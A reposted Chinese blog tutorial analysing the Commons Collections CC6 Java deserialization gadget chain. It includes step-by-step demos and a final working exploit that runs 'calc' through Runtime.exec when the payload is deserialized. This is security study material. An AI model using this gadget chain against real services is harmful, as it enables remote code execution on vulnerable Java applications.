0


Java安全 CC链6分析

CC链6分析

前言

CC链6不受jdk版本与cs版本的影响,在Java安全中最为通用,并且非常简洁,非常有学习的必要,建议在学习CC链6之前先学习一下 URLDNS链 和 CC链1(LazyMap类),这样会事半功倍,更好的理解 CC链6,这里可以先看下我的这两篇文章

Java安全 URLDNS链分析

Java安全 CC链1分析(Lazymap类)

CC链分析

核心transform链

这条链在CC链1中有用到,这里就不做过多解释了,具体解释可以看下我上面的两篇文章,代码如下

packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;publicclass demo1{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain =newChainedTransformer(transformers);
        transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}}

我们接下来的任务就是去找哪里调用了

transform()

方法

Lazymap类

我们首先还是选中 transform 方法,右键选择查找用法

我们和CC链1相同,来到了LazyMap类,在这个类中所用到的方法也和CC1相同

1707904996292.png

然后查看一下 get 方法的代码,如下

publicObjectget(Object key){// create value for key if key is not currently in the mapif(map.containsKey(key)==false){Object value = factory.transform(key);//关键
            map.put(key, value);return value;}return map.get(key);}

我们看到假如满足

map.containsKey(key) == false

(map数组中不包含键 key)的话,就会执行

factory.transform(key);

,也就是说我们需要将 factory 变量赋值为 transformerChain(上面cc链的核心对象),然后触发其 transform 方法

我们再来看一下 Lazymap类中的成员属性 map和factory是否可控,查看下构造方法,其代码如下

protectedLazyMap(Map map,Transformer factory){super(map);if(factory ==null){thrownewIllegalArgumentException("Factory must not be null");}this.factory = factory;}

可以看到是

protected

类型的,我们无法直接通过构造方法获取这个对象,但一般的这种装饰器类都有一个 decorate 方法,可以返回一个对象,我们在这个类中找到了 decorate 方法,代码如下

publicstaticMapdecorate(Map map,Transformer factory){returnnewLazyMap(map, factory);}

我们可以看到其 map和factory属性是可控的,我们调用该静态方法即可获取一个LazyMap对象

我们先写一个demo试试这里的

get方法

是否可以触发cc链1

我们给map传入一个空数组,然后调用get方法的时随便传入一个值,即可触发 factory 参数(cc链核心)的transform方法,因为map是空的,所以我们无论传入什么key,map里面都不会存在

packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclass main2{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();Map decorate =LazyMap.decorate(hash, chainedTransformer);
        decorate.get("key");}}

运行demo成功弹出计算器

1707905037709.png

接下来我们的任务便是——哪里可以对我们的Lazymap对象调用get方法,我们选中get方法右键查看用法,由于结果太多,我们直接来到TiedMapEntry类中

TiedMapEntry类路径

org.apache.commons.collections.keyvalue.TiedMapEntry

TiedMapEntry类

我们看下

TiedMapEntry类

是如何调用

get方法

的,代码如下

publicObjectgetValue(){return map.get(key);}

可以看到代码十分简洁,getValue() 对map变量调用了get方法,并传入了参数key,我们需要将map赋值为我们的LazyMap对象,然后key值任意

我们去看下其构造方法,代码如下

publicTiedMapEntry(Map map,Object key){super();this.map = map;this.key = key;}

可以看到构造方法是公有的,我们可以直接调用构造方法生成

TiedMapEntry对象

,并对 map和key成员属性赋值

然后我们在这个类中寻找哪个方法调用了

getValue()方法

,我们在

hashCode方法

中找到了对该方法的引用,方法代码如下

publicinthashCode(){Object value =getValue();return(getKey()==null?0:getKey().hashCode())^(value ==null?0: value.hashCode());}

发现

hashCode方法

中对

getValue()

方法是无条件引用的,我们只需调用

hashCode方法

即可,这里我们将map赋值为我们的LazyMap对象,然后key值任意,写一个由 hashCode方法触发的demo试一试

packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclass cc6 {publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();Map decorate =LazyMap.decorate(hash, chainedTransformer);TiedMapEntry tiedMapEntry =newTiedMapEntry(decorate,null);
        tiedMapEntry.hashCode();}}

可以看到成功弹出计算器

1707905126901.png

接下来便是寻找哪里可以对我们的TiedMapEntry对象调用hashCode方法

强烈建议先看一下上面 URLDNS 链分析的文章

一般我们找到hashCode方法之后,便是利用以下这条链了

GadgetChain:HashMap.readObject()HashMap.putVal()HashMap.hash()

                             xxx.hashCode()

HashMap方法

我们直接来到 HashMap.java文件,查看

HashMap类

我们查看其

hash方法

,代码如下

staticfinalinthash(Object key){int h;return(key ==null)?0:(h = key.hashCode())^(h >>>16);}

发现该方法对传入的参数 key 调用了hashCode方法,前提是满足key不为空

这里key肯定不能为空,要赋值为我们的

TiedMapEntry对象

我们再找下哪里调用了 hash方法,这里来到了

readObject方法

,关键代码如下

找到了 readObject方法也就意味着找到了CC链的起点

privatevoidreadObject(java.io.ObjectInputStream s)throwsIOException,ClassNotFoundException{// Read the keys and values, and put the mappings in the HashMapfor(int i =0; i < mappings; i++){@SuppressWarnings("unchecked")K key =(K) s.readObject();@SuppressWarnings("unchecked")V value =(V) s.readObject();putVal(hash(key), key, value,false,false);}}}

可以看到最后一行代码,对参数 key 调用了hash方法,我们分析下key是怎么获得的

通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的复制给key变量,也就是我们把

TiedMapEntry类

当做传给HashMap即可

K key = (K) s.readObject();

K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键

最终exp

cc链6 exp如下

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.nio.file.Files;importjava.nio.file.Paths;importjava.util.HashMap;importjava.util.Map;publicclass cc6 {publicstaticvoidmain(String[] args)throwsIOException,ClassNotFoundException{//定义一系列Transformer对象,组成一个变换链Transformer[] transformers =newTransformer[]{//返回Runtime.classnewConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),//通过反射调用invoke()方法newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),//通过反射调用exec()方法启动calcnewInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();Map decorate =LazyMap.decorate(hash, chainedTransformer);TiedMapEntry tiedMapEntry =newTiedMapEntry(decorate,null);HashMap hashMap =newHashMap();
        hashMap.put(tiedMapEntry,"Elite");serialize(hashMap);unserialize("1.bin");}publicstaticvoidserialize(Object obj)throwsIOException{ObjectOutputStream out =newObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);}publicstaticvoidunserialize(String filename)throwsIOException,ClassNotFoundException{ObjectInputStream out =newObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();}}

经测试成功弹出计算器

1707905158663.png

标签: java 安全 web安全

本文转载自: https://blog.csdn.net/Elite__zhb/article/details/136114757
版权归原作者 Elitewa 所有, 如有侵权,请联系我们删除。

“Java安全 CC链6分析”的评论:

还没有评论